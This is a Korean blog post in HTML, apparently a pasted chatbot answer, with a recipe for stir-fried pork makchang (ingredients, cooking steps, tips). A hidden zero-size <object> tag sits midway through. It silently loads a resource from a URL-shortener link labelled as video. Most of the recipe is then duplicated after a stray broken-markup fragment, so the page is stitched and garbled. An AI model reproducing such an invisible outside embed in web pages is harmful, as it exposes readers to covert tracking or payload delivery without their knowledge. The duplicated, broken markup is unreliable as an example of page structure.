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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:18">맛있는 막창 볶음 만들기!</h2><p data-sourcepos="3:1-3:80"><strong>막창 볶음</strong>은 쫄깃한 식감과 고소한 풍미가 일품인 인기 메뉴죠! 집에서도 간단하게 만들어 즐길 수 있는 막창 볶음 레시피를 알려드릴게요.</p><h3 data-sourcepos="5:1-5:9">재료 준비</h3><ul data-sourcepos="7:1-19:0">
<li data-sourcepos="7:1-7:12">돼지 막창 500g</li>
<li data-sourcepos="8:1-8:7">양파 1개</li>
<li data-sourcepos="9:1-9:7">대파 1대</li>
<li data-sourcepos="10:1-10:9">청양고추 2개</li>
<li data-sourcepos="11:1-11:7">마늘 3쪽</li>
<li data-sourcepos="12:1-12:8">간장 3큰술</li>
<li data-sourcepos="13:1-13:10">고춧가루 2큰술</li>
<li data-sourcepos="14:1-14:8">맛술 2큰술</li>
<li data-sourcepos="15:1-15:10">설탕 1/2큰술</li>
<li data-sourcepos="16:1-16:9">참기름 1큰술</li>
<li data-sourcepos="17:1-17:7">후추 약간</li>
<li data-sourcepos="18:1-19:0">식용유 적당량</li>
</ul><h3 data-sourcepos="20:1-20:9">만드는 법</h3><ol data-sourcepos="22:1-28:0">
<li data-sourcepos="22:1-22:82"><strong>막창 손질:</strong> 막창을 흐르는 물에 여러 번 깨끗하게 씻어주세요. 잡내 제거를 위해 밀가루를 묻혀 문지른 후 다시 헹궈주면 더욱 좋습니다.</li>
<li data-sourcepos="23:1-23:69"><strong>초벌 구이:</strong> 막창을 식용유를 두른 팬에 노릇하게 구워줍니다. 기름기를 제거하면서 잡내도 없애는 효과가 있습니다.</li>
<li data-sourcepos="24:1-24:52"><strong>야채 준비:</strong> 양파, 대파, 청양고추는 먹기 좋은 크기로 썰고, 마늘은 다져줍니다.</li>
<li data-sourcepos="25:1-25:63"><strong>양념 만들기:</strong> 볼에 간장, 고춧가루, 맛술, 설탕, 참기름, 후추를 넣고 잘 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="26:1-26:57"><strong>볶기:</strong> 구워진 막창에 준비한 야채를 넣고 함께 볶다가 양념장을 넣고 골고루 버무려줍니다.</li>
<li data-sourcepos="27:1-28:0"><strong>마무리:</strong> 양념이 막창에 잘 배어들도록 충분히 볶아주면 완성입니다.</li>
</ol><p data-sourcepos="29:1-29:9"><strong>Tip:</strong></p><ul data-sourcepos="30:1-33:0">
<li data-sourcepos="30:1-30:34">더욱 풍부한 풍미를 위해 깻잎을 채 썰어 넣으면 좋습니다.</li>
<li data-sourcepos="31:1-31:34">매운 것을 좋아한다면 청양고추를 더 많이 넣어도 좋습니다.</li>
<li data-sourcepos="32:1-33:0">쫄깃한 식감을 위해 떡볶이 떡을 함께 넣어 볶아도 맛있습니다.</li>
</ul><h3 data-sourcepos="34:1-34:8">꿀팁!</h3><ul data-sourcepos="36:1-39:0">
<li data-sourcepos="36:1-36:48">막창을 구울 때 센 불에 짧은 시간 조리하면 더욱 쫄깃한 식감을 즐길 수 있습니다.</li>
<li data-sourcepos="37:1-37:29">양념장의 비율은 개인의 취향에 따라 조절해주세요.</li>
<li data-sourcepos="38:1-39:0">볶는 중간에 물이 생기면 불을 세게 하고 국물을 졸여주는 것이 좋습니다.</li>
</ul><p data-sourcepos="40:1-40:39"><strong>이제 집에서도 간단하게 맛있는 막창 볶음을 만들어 즐겨보세요!</strong></p><p data-sourcepos="42:1-42:26"><strong>궁금한 점이 있다면 언제든지 물어보세요.</strong></p><p data-sourcepos="44:1-44:28"><strong>막창볶음 레시피 집밥 요리 돼지막창</strong></p><p data-sourcepos="46:1-46:38"><strong>혹시 다른 궁금한 점이나 원하는 레시피가 있다면 알려주세요.</strong></p><ul data-sourcepos="47:1-48:0">
<li data-sourcepos="47:1-48:0">예시: "막창볶음에 어떤 술이 잘 어울려요?", "매운 막창볶음 레시피를 알려주세요."</li>
</ul><hr data-sourcepos="49:1-49:3"><p data-sourcepos="50:1-50:82"><strong>Would you like to know more about Korean food or have another recipe request?</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:12">돼지 막창 500g</li>
<li data-sourcepos="8:1-8:7">양파 1개</li>
<li data-sourcepos="9:1-9:7">대파 1대</li>
<li data-sourcepos="10:1-10:9">청양고추 2개</li>
<li data-sourcepos="11:1-11:7">마늘 3쪽</li>
<li data-sourcepos="12:1-12:8">간장 3큰술</li>
<li data-sourcepos="13:1-13:10">고춧가루 2큰술</li>
<li data-sourcepos="14:1-14:8">맛술 2큰술</li>
<li data-sourcepos="15:1-15:10">설탕 1/2큰술</li>
<li data-sourcepos="16:1-16:9">참기름 1큰술</li>
<li data-sourcepos="17:1-17:7">후추 약간</li>
<li data-sourcepos="18:1-19:0">식용유 적당량</li>
</ul><h3 data-sourcepos="20:1-20:9">만드는 법</h3><ol data-sourcepos="22:1-28:0">
<li data-sourcepos="22:1-22:82"><strong>막창 손질:</strong> 막창을 흐르는 물에 여러 번 깨끗하게 씻어주세요. 잡내 제거를 위해 밀가루를 묻혀 문지른 후 다시 헹궈주면 더욱 좋습니다.</li>
<li data-sourcepos="23:1-23:69"><strong>초벌 구이:</strong> 막창을 식용유를 두른 팬에 노릇하게 구워줍니다. 기름기를 제거하면서 잡내도 없애는 효과가 있습니다.</li>
<li data-sourcepos="24:1-24:52"><strong>야채 준비:</strong> 양파, 대파, 청양고추는 먹기 좋은 크기로 썰고, 마늘은 다져줍니다.</li>
<li data-sourcepos="25:1-25:63"><strong>양념 만들기:</strong> 볼에 간장, 고춧가루, 맛술, 설탕, 참기름, 후추를 넣고 잘 섞어 양념장을 만듭니다.</li>
<li data-sourcepos="26:1-26:57"><strong>볶기:</strong> 구워진 막창에 준비한 야채를 넣고 함께 볶다가 양념장을 넣고 골고루 버무려줍니다.</li>
<li data-sourcepos="27:1-28:0"><strong>마무리:</strong> 양념이 막창에 잘 배어들도록 충분히 볶아주면 완성입니다.</li>
</ol><p data-sourcepos="29:1-29:9"><strong>Tip:</strong></p><ul data-sourcepos="30:1-33:0">
<li data-sourcepos="30:1-30:34">더욱 풍부한 풍미를 위해 깻잎을 채 썰어 넣으면 좋습니다.</li>
<li data-sourcepos="31:1-31:34">매운 것을 좋아한다면 청양고추를 더 많이 넣어도 좋습니다.</li>
<li data-sourcepos="32:1-33:0">쫄깃한 식감을 위해 떡볶이 떡을 함께 넣어 볶아도 맛있습니다.</li>
</ul><h3 data-sourcepos="34:1-34:8">꿀팁!</h3><ul data-sourcepos="36:1-39:0">
<li data-sourcepos="36:1-36:48">막창을 구울 때 센 불에 짧은 시간 조리하면 더욱 쫄깃한 식감을 즐길 수 있습니다.</li>
<li data-sourcepos="37:1-37:29">양념장의 비율은 개인의 취향에 따라 조절해주세요.</li>
<li data-sourcepos="38:1-39:0">볶는 중간에 물이 생기면 불을 세게 하고 국물을 졸여주는 것이 좋습니다.</li>
</ul><p data-sourcepos="40:1-40:39"><strong>이제 집에서도 간단하게 맛있는 막창 볶음을 만들어 즐겨보세요!</strong></p><p data-sourcepos="42:1-42:26"><strong>궁금한 점이 있다면 언제든지 물어보세요.</strong></p><p data-sourcepos="44:1-44:28"><strong>막창볶음 레시피 집밥 요리 돼지막창</strong></p><p data-sourcepos="46:1-46:38"><strong>혹시 다른 궁금한 점이나 원하는 레시피가 있다면 알려주세요.</strong></p><ul data-sourcepos="47:1-48:0">
<li data-sourcepos="47:1-48:0">예시: "막창볶음에 어떤 술이 잘 어울려요?", "매운 막창볶음 레시피를 알려주세요."</li>
</ul><hr data-sourcepos="49:1-49:3"><p data-sourcepos="50:1-50:82"><strong>Would you like to know more about Korean food or have another recipe request?</strong></p></div>
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